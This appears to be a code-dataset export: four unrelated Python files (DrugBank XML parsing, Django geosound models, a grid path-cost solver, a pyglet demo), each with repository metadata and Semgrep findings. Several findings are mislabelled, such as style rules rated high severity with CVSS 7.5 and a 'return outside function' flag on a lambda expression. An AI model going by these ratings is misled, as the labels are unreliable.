# -*- coding: utf-8 -*- """ Created on Fri Mar 8 13:34:44 2019 You are not expected to understand my codes! @Author: Kotori_Y @Blog: blog.moyule.me @Weibo: Michariel @Mail: yzjkid9@gmial.com I love Megumi forerver! """ import xml.etree.ElementTree as ET import os import pandas as pd os.chdir(r'C:\DrugBank\ver5.1.2') file = 'full database.xml' SMIS = [] MWS = [] MFS = [] INchikey = [] Name = [] Id = [] CAS = [] ATCS = [] http = '{http://www.drugbank.ca}' tree = ET.parse(file) drugs = tree.getroot() for drug in drugs: SMI = None MW = None MF = None inchikey = None ATC = [] name,bank_id,cas = drug.findall(http+'name'),drug[0],drug.findall(http+'cas-number') for exp in drug.findall(http+'experimental-properties'): for property in exp.findall(http+'property'): for kind,value in zip(property.findall(http+'kind'),property.findall(http+'value')): if kind.text == 'Molecular Weight': MW = value.text elif kind.text == 'Molecular Formula': MF = value.text else: pass for cal in drug.findall(http+'calculated-properties'): for property in cal.findall(http+'property'): for kind,value in zip(property.findall(http+'kind'),property.findall(http+'value')): if kind.text == 'Molecular Weight' and MW == None: MW = value.text elif kind.text == 'SMILES': SMI = value.text elif kind.text == 'InChIKey': inchikey = value.text elif kind.text == 'Molecular Formula': MF = value.text else: pass for atcs in drug.findall(http+'atc-codes'): for atc in atcs.findall(http+'atc-code'): ATC.append(atc.attrib['code']) Id.append(bank_id.text) Name.append(name[0].text) MFS.append(MF) MWS.append(MW) CAS.append(cas[0].text) ATCS.append(ATC) INchikey.append(inchikey) SMIS.append(SMI) df = pd.DataFrame() df['DrugBank_ID'] = Id df['Name'] = Name df['Molecular_Formula'] = MFS df['Molecular_Weight'] = MWS df['CAS'] = CAS df['ATC_Code'] = ATCS df['InChIKey'] = INchikey df['SMILES'] = SMIS #df.to_csv('DrugBank_Version5.1.1.csv',index=False)
110
20.83
96
16
639
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_f6a6a94e43d457ec_fccc520c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/f6a6a94e43d457ec.py", "start": {"line": 15, "col": 1, "offset": 224}, "end": {"line": 15, "col": 35, "offset": 258}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 15 ]
[ 15 ]
[ 1 ]
[ 35 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
ExtractFromDrugbank.py
/py_work/spider/xml/ExtractFromDrugbank.py
kotori-y/kotori_work
MIT
2024-11-18T20:08:54.792207+00:00
1,414,647,944,000
3cab25cf709f6de2f374eecfb1fbe6084aa21ab3
2
{ "blob_id": "3cab25cf709f6de2f374eecfb1fbe6084aa21ab3", "branch_name": "refs/heads/master", "committer_date": 1414647944000, "content_id": "4819031e47fce9fa8bb86860db2b90e0cf12f100", "detected_licenses": [ "BSD-2-Clause-Views" ], "directory_id": "2819ef883d4c4b4170acf8667b2f1e341ef4e7e3", "extension": "py", "filename": "models.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9941, "license": "BSD-2-Clause-Views", "license_type": "permissive", "path": "/ff/apps/futures/models.py", "provenance": "stack-edu-0054.json.gz:569244", "repo_name": "orzubalsky/fantastic-futures", "revision_date": 1414647944000, "revision_id": "4700e9fe64f01051ca7ea5f22fecf7b1f1aa0b5e", "snapshot_id": "c98f3349a7afa4b3d31f48ff6611613db9738f54", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/orzubalsky/fantastic-futures/4700e9fe64f01051ca7ea5f22fecf7b1f1aa0b5e/ff/apps/futures/models.py", "visit_date": "2020-05-16T06:52:59.306505" }
2.328125
stackv2
from django.contrib.gis.geos import Point from django.contrib.gis.db.models import * from django.utils.timezone import utc from django.contrib.auth.models import User from django.db.models.signals import pre_delete, post_save from django.dispatch import receiver from django.core.cache import cache from django.core.management import call_command from django_countries import CountryField from taggit.managers import TaggableManager from paintstore.fields import ColorPickerField from datetime import * from futures.validators import * from futures.utils import unique_slugify import random class Base(Model): """ Base model for all of the models in ff. """ class Meta: abstract = True created = DateTimeField(auto_now_add=True, editable=False) updated = DateTimeField(auto_now=True, editable=False) is_active = BooleanField(default=1) def __unicode__(self): if hasattr(self, "title") and self.title: return self.title else: return "%s" % (type(self)) class UserProfile(Base): user = OneToOneField(User) display_name = CharField(max_length=50) city = CharField(max_length=100, blank=True, null=True) state = CharField(max_length=255, blank=True, null=True) country = CountryField(blank=True, null=True) number = CharField(max_length=30, blank=True, null=True) country_code = CharField(max_length=10, blank=True, null=True) slug = SlugField() class MapSetting(Base): BASEMAP_CHOICES = ( ('dymaxion', 'Dymaxion'), ('openstreetmap', 'OpenStreetMap'), ('googlemaps', 'GoogleMaps'), ) title = CharField( max_length=100, blank=True, null=True ) basemap = CharField( max_length=20, choices=BASEMAP_CHOICES, default='dymaxion', blank=False, null=False, ) initial_bounds = PolygonField( 'Map Region', blank=True, null=True, help_text='The region specified here will be ' 'the default view for this project.' ) zoom_enabled = BooleanField( default=True ) mapdisplay_fill_color = ColorPickerField( 'Map Graphic Fill Color', default='#000000', blank=True, help_text='The hex value (eg #00FF00 for green)' ) mapdisplay_fill_opacity = FloatField( 'Map Graphic Fill Opacity', default=1.0, blank=True, help_text='Numeric value between 0 and 1' ) mapdisplay_stroke_color = ColorPickerField( 'Map Graphic Stroke Color', default='#000000', blank=True, help_text='The hex value (eg #00FF00 for green)' ) mapdisplay_stroke_opacity = FloatField( 'Map Graphic Stroke Opacity', default=1.0, blank=True, help_text='Numeric value between 0 and 1' ) mapdisplay_point_radius = IntegerField( 'Map Point Radius', max_length=3, default=2, blank=True, help_text='The radius of a point on the map' ) mapdisplay_size = IntegerField( 'Map Graphic Size', default=8, blank=True, null=True, help_text='In pixels' ) def get_random_point(self, extent): xmin, ymin, xmax, ymax = extent xrange = xmax - xmin yrange = ymax - ymin randx = xrange * random.random() + xmin randy = yrange * random.random() + ymin return Point(randx, randy, srid=4326) def random_point_in_map_bounds(self): polygon = self.initial_bounds point = self.get_random_point(polygon.extent) while not polygon.contains(point): point = self.get_random_point(polygon.extent) return point class Collection(Base): title = CharField(max_length=100, blank=False, null=True) slug = SlugField(max_length=120, blank=False, null=False) description = TextField(blank=True, null=True) map_setting = ForeignKey(MapSetting, blank=True, null=True) def add_voicemail(self, title, location, audio_url): point = self.map_setting.random_point_in_map_bounds() slug = "%s-%s" % (title, random.randint(0, 999999)) geosound = GeoSound( title=title, location=location, slug=slug, point=point, ) geosound.save() geosound.collections.add(self) if audio_url is not None: call_command( 'save_file_from_url', url=audio_url, object_pk=geosound.pk) call_command('collectstatic', interactive=False) def __unicode__(self): return unicode(self.title) class GeoSound(Base): class Meta: verbose_name_plural = "geosounds" def random_z(): return round(random.uniform(-12.0, 12.0), 2) def random_default_volume(): return round(random.uniform(0.2, 0.8), 2) sound = FileField(upload_to="uploads", max_length=150, blank=True, null=True) title = CharField(max_length=100, blank=True, null=True) location = CharField(max_length=150, blank=True, null=True) story = TextField(blank=True, null=True) created_by = CharField(max_length=100, blank=False, null=True) user = ForeignKey(User, blank=True, null=True) slug = SlugField(max_length=100) point = PointField() z = FloatField(default=random_z) default_volume = FloatField(default=random_default_volume) collections = ManyToManyField(Collection, related_name="collections") tags = TaggableManager(blank=True) objects = GeoManager() def is_recent(): def fget(self): now = datetime.utcnow().replace(tzinfo=utc) week_ago = now - timedelta(days=7) return self.created > week_ago return locals() def just_added(): def fget(self): now = datetime.utcnow().replace(tzinfo=utc) minute_ago = now - timedelta(seconds=60) return self.created > minute_ago return locals() is_recent = property(**is_recent()) just_added = property(**just_added()) def save_upload(self, filename, lat, lon, tags, collection_slug, *args, **kwargs): from django.contrib.gis.geos import Point "save geosound after ajax uploading an mp3 file" # store point from coordinates self.point = Point(lon, lat, srid=4326) # try finding an existing user by the "created_by" field try: self.user = User.objects.get(username=self.created_by) except User.DoesNotExist: pass # create a title for the sound self.title = "recorded in %s by %s" % (self.location, self.created_by) if self.slug is None or self.slug.__len__() == 0: self.slug = unique_slugify(GeoSound, self.title) # save sound self.sound = filename # save model super(GeoSound, self).save(*args, **kwargs) # save tags to sound for t in tags: self.tags.add(t) # connect the sound to the v3 collection v3_collection, created = Collection.objects.get_or_create( title='fantastic futures v3', defaults={'title': 'fantastic futures v3'} ) self.collections.add(v3_collection) if collection_slug is not None: try: collection = Collection.objects.get(slug=collection_slug) self.collections.add(collection) except Collection.DoesNotExist: pass # return the newly created model return self def __unicode__(self): return unicode(self.title) def get_tags(self): return ",".join([tag.name for tag in self.tags.all()]) @receiver(pre_delete, sender=GeoSound) @receiver(post_save, sender=GeoSound) def invalidate_json_sounds(sender, **kwargs): cache.delete('json_sounds') class Connection(Base): sound_1 = ForeignKey(GeoSound, related_name="sound_1") sound_1_volume = FloatField(default=0.8) sound_2 = ForeignKey(GeoSound, related_name="sound_2") sound_2_volume = FloatField(default=0.8) def __unicode__(self): return u"%s - %s" % (self.sound_1.title, self.sound_2.title) class Constellation(Base): class Meta: verbose_name_plural = "constellations" title = CharField(max_length=100, blank=False, null=False) created_by = CharField(max_length=100, blank=False, null=True) location = CharField(max_length=150, blank=True, null=True) user = ForeignKey(User, blank=True, null=True) slug = SlugField() connections = ManyToManyField(Connection, related_name="connections") rotation_x = FloatField(default=0) rotation_y = FloatField(default=0) rotation_z = FloatField(default=0) zoom = FloatField(default=1.0) def __unicode__(self): return self.title def save_ajax(self, rotation, *args, **kwargs): # try finding an existing user by the "created_by" field try: self.user = User.objects.get(username=self.created_by) except User.DoesNotExist: pass # rotation self.rotation_x = rotation['x'] self.rotation_y = rotation['y'] self.rotation_z = rotation['z'] # save model super(Constellation, self).save(*args, **kwargs) # return the newly created model return self @receiver(pre_delete, sender=Constellation) @receiver(post_save, sender=Constellation) def invalidate_json_constellations(sender, **kwargs): cache.delete('json_constellations')
316
29.46
86
15
2,254
python
[{"finding_id": "semgrep_rules.python.django.correctness.nontext-field-must-set-null-true_a098b63032bf092b_9805570b", "tool_name": "semgrep", "rule_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "null=True should be set if blank=True is set on non-text fields.", "remediation": "", "location": {"file_path": "unknown", "line_start": 77, "line_end": 82, "column_start": 5, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.djangoproject.com/en/4.0/ref/models/fields/#null", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 77, "col": 5, "offset": 2151}, "end": {"line": 82, "col": 6, "offset": 2336}, "extra": {"message": "null=True should be set if blank=True is set on non-text fields.", "metadata": {"category": "correctness", "references": ["https://docs.djangoproject.com/en/4.0/ref/models/fields/#null"], "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.correctness.nontext-field-must-set-null-true_a098b63032bf092b_e0626ba3", "tool_name": "semgrep", "rule_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "null=True should be set if blank=True is set on non-text fields.", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 88, "column_start": 5, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.djangoproject.com/en/4.0/ref/models/fields/#null", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 83, "col": 5, "offset": 2341}, "end": {"line": 88, "col": 6, "offset": 2511}, "extra": {"message": "null=True should be set if blank=True is set on non-text fields.", "metadata": {"category": "correctness", "references": ["https://docs.djangoproject.com/en/4.0/ref/models/fields/#null"], "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.correctness.nontext-field-must-set-null-true_a098b63032bf092b_7da7e214", "tool_name": "semgrep", "rule_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "null=True should be set if blank=True is set on non-text fields.", "remediation": "", "location": {"file_path": "unknown", "line_start": 89, "line_end": 94, "column_start": 5, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.djangoproject.com/en/4.0/ref/models/fields/#null", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 89, "col": 5, "offset": 2516}, "end": {"line": 94, "col": 6, "offset": 2705}, "extra": {"message": "null=True should be set if blank=True is set on non-text fields.", "metadata": {"category": "correctness", "references": ["https://docs.djangoproject.com/en/4.0/ref/models/fields/#null"], "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.correctness.nontext-field-must-set-null-true_a098b63032bf092b_fd90435b", "tool_name": "semgrep", "rule_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "null=True should be set if blank=True is set on non-text fields.", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 100, "column_start": 5, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.djangoproject.com/en/4.0/ref/models/fields/#null", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 95, "col": 5, "offset": 2710}, "end": {"line": 100, "col": 6, "offset": 2884}, "extra": {"message": "null=True should be set if blank=True is set on non-text fields.", "metadata": {"category": "correctness", "references": ["https://docs.djangoproject.com/en/4.0/ref/models/fields/#null"], "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.correctness.nontext-field-must-set-null-true_a098b63032bf092b_b0788547", "tool_name": "semgrep", "rule_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "null=True should be set if blank=True is set on non-text fields.", "remediation": "", "location": {"file_path": "unknown", "line_start": 101, "line_end": 107, "column_start": 5, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.djangoproject.com/en/4.0/ref/models/fields/#null", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 101, "col": 5, "offset": 2889}, "end": {"line": 107, "col": 6, "offset": 3076}, "extra": {"message": "null=True should be set if blank=True is set on non-text fields.", "metadata": {"category": "correctness", "references": ["https://docs.djangoproject.com/en/4.0/ref/models/fields/#null"], "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.correctness.nontext-field-must-set-null-true_a098b63032bf092b_4b131340", "tool_name": "semgrep", "rule_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "null=True should be set if blank=True is set on non-text fields.", "remediation": "", "location": {"file_path": "unknown", "line_start": 184, "line_end": 184, "column_start": 5, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.djangoproject.com/en/4.0/ref/models/fields/#null", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.correctness.nontext-field-must-set-null-true", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 184, "col": 5, "offset": 5540}, "end": {"line": 184, "col": 39, "offset": 5574}, "extra": {"message": "null=True should be set if blank=True is set on non-text fields.", "metadata": {"category": "correctness", "references": ["https://docs.djangoproject.com/en/4.0/ref/models/fields/#null"], "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_a098b63032bf092b_406f4b7a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `fget` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 189, "line_end": 192, "column_start": 9, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 189, "col": 9, "offset": 5633}, "end": {"line": 192, "col": 43, "offset": 5794}, "extra": {"message": "function `fget` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_a098b63032bf092b_58c4e1aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `fget` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 196, "line_end": 199, "column_start": 9, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/a098b63032bf092b.py", "start": {"line": 196, "col": 9, "offset": 5850}, "end": {"line": 199, "col": 45, "offset": 6019}, "extra": {"message": "function `fget` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
8
true
[ "", "", "", "", "", "", "", "" ]
[ "rules.python.django.correctness.nontext-field-must-set-null-true", "rules.python.django.correctness.nontext-field-must-set-null-true", "rules.python.django.correctness.nontext-field-must-set-null-true", "rules.python.django.correctness.nontext-field-must-set-null-true", "rules.python.django.correctness.non...
[ "correctness", "correctness", "correctness", "correctness", "correctness", "correctness", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 77, 83, 89, 95, 101, 184, 189, 196 ]
[ 82, 88, 94, 100, 107, 184, 192, 199 ]
[ 5, 5, 5, 5, 5, 5, 9, 9 ]
[ 6, 6, 6, 6, 6, 39, 43, 45 ]
[ "", "", "", "", "", "", "", "" ]
[ "null=True should be set if blank=True is set on non-text fields.", "null=True should be set if blank=True is set on non-text fields.", "null=True should be set if blank=True is set on non-text fields.", "null=True should be set if blank=True is set on non-text fields.", "null=True should be set if blank=Tr...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "", "", "", "", "", "", "", "" ]
[ "", "", "", "", "", "", "", "" ]
models.py
/ff/apps/futures/models.py
orzubalsky/fantastic-futures
BSD-2-Clause-Views
2024-11-18T18:59:36.133428+00:00
1,655,921,821,000
e91c40031f6fe918baa9d89da58d570be1e67f2a
3
{ "blob_id": "e91c40031f6fe918baa9d89da58d570be1e67f2a", "branch_name": "refs/heads/master", "committer_date": 1655921821000, "content_id": "58863fb7c49209b4caf12b7fda21d0317b1cd5e7", "detected_licenses": [ "MIT" ], "directory_id": "5fdfa2069b1aa05f61852b498328366d3dcfeb2a", "extension": "py", "filename": "dojo.py", "fork_events_count": 40, "gha_created_at": 1312323114000, "gha_event_created_at": 1645118506000, "gha_language": "JavaScript", "gha_license_id": "MIT", "github_id": 2145424, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1408, "license": "MIT", "license_type": "permissive", "path": "/2021_12_15/dojo.py", "provenance": "stack-edu-0054.json.gz:569265", "repo_name": "globocom/dojo", "revision_date": 1655921821000, "revision_id": "8df96c932f61645e9717197e5b58ca60909c7fc1", "snapshot_id": "5110b5ed86734d49fd0934d8701d5016e7e27e0d", "src_encoding": "UTF-8", "star_events_count": 121, "url": "https://raw.githubusercontent.com/globocom/dojo/8df96c932f61645e9717197e5b58ca60909c7fc1/2021_12_15/dojo.py", "visit_date": "2022-07-21T17:59:16.133549" }
3.296875
stackv2
#!/usr/bin/env python3 from collections import defaultdict raw_input = open("input.txt").read() risk_map = [[int(c) for c in line] for line in raw_input.splitlines()] current_cost = 0 # evaluating this level now visited = {(0, 0)} # store visited coords cost_map = [[0] * len(risk_map[0]) for _ in risk_map] x_max, y_max = len(cost_map[0]), len(cost_map) next_positions = defaultdict(list) next_positions[0] = [((0, 1), 0), ((1, 0), 0)] while True: current_level = sorted( next_positions[current_cost], key=lambda p: risk_map[p[0][1]][p[0][0]] ) # check for lower risk coords first for pos, pos_cost in current_level: if pos in visited or pos_cost < current_cost: # already visited or # cannot reach this cell through that path continue visited.add(pos) new_cost = pos_cost + risk_map[pos[1]][pos[0]] cost_map[pos[1]][pos[0]] = new_cost for p in [(-1, 0), (0, -1), (1, 0), (0, 1)]: new_pos = (pos[0] + p[0], pos[1] + p[1]) if ( 0 <= new_pos[0] < x_max and 0 <= new_pos[1] < y_max and new_pos not in visited ): next_positions[new_cost].append((new_pos, new_cost)) current_cost += 1 if max(next_positions.keys()) < current_cost: print("Solution to part 1:", cost_map[-1][-1]) break
39
35.1
78
14
401
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_3964ddc1c27c7d23_85348458", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 4, "line_end": 4, "column_start": 13, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/3964ddc1c27c7d23.py", "start": {"line": 4, "col": 13, "offset": 72}, "end": {"line": 4, "col": 30, "offset": 89}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_3964ddc1c27c7d23_38b49ba5", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 53, "column_end": 79, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/3964ddc1c27c7d23.py", "start": {"line": 16, "col": 53, "offset": 534}, "end": {"line": 16, "col": 79, "offset": 560}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "" ]
[ "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 16 ]
[ 16 ]
[ 53 ]
[ 79 ]
[ "" ]
[ "`return` only makes sense inside a function" ]
[ 5 ]
[ "" ]
[ "" ]
dojo.py
/2021_12_15/dojo.py
globocom/dojo
MIT
2024-11-18T18:59:36.430865+00:00
1,526,898,153,000
1aa086829453a678f6572098d89e4caf5e38f4a0
3
{ "blob_id": "1aa086829453a678f6572098d89e4caf5e38f4a0", "branch_name": "refs/heads/master", "committer_date": 1526898153000, "content_id": "6b01882afa0205a97dacd85c19b41e33b565045f", "detected_licenses": [ "MIT" ], "directory_id": "bdd3934561bc49bb05f55839ece1d069bf6e37ca", "extension": "py", "filename": "temp_display.py", "fork_events_count": 3, "gha_created_at": 1511784004000, "gha_event_created_at": 1522141413000, "gha_language": "Python", "gha_license_id": null, "github_id": 112190867, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 629, "license": "MIT", "license_type": "permissive", "path": "/src/temp_display.py", "provenance": "stack-edu-0054.json.gz:569270", "repo_name": "LLNT/3X-Project", "revision_date": 1526898153000, "revision_id": "864406a197cae567e564a0cefb891e92ec0f820a", "snapshot_id": "790cd1e52df48ceafb899bf0453b841ce35765ee", "src_encoding": "UTF-8", "star_events_count": 6, "url": "https://raw.githubusercontent.com/LLNT/3X-Project/864406a197cae567e564a0cefb891e92ec0f820a/src/temp_display.py", "visit_date": "2021-09-14T22:28:33.395944" }
2.53125
stackv2
from pyglet.gl import * from cocos.director import director def exec(): return 0 def test_a(): assert exec()==0 # Direct OpenGL commands to this window. director.init() window = director.window joysticks = pyglet.input.get_joysticks() if joysticks: joystick = joysticks[0] print(joystick) @window.event def on_draw(): glClear(GL_COLOR_BUFFER_BIT) glLoadIdentity() glBegin(GL_TRIANGLES) glVertex2f(0, 0) glVertex2f(window.width, 0) glVertex2f(window.width, window.height) glEnd() @joystick.event def on_joybutton_press(joystick, button): print(joystick, button) director.run()
35
16.97
43
9
164
python
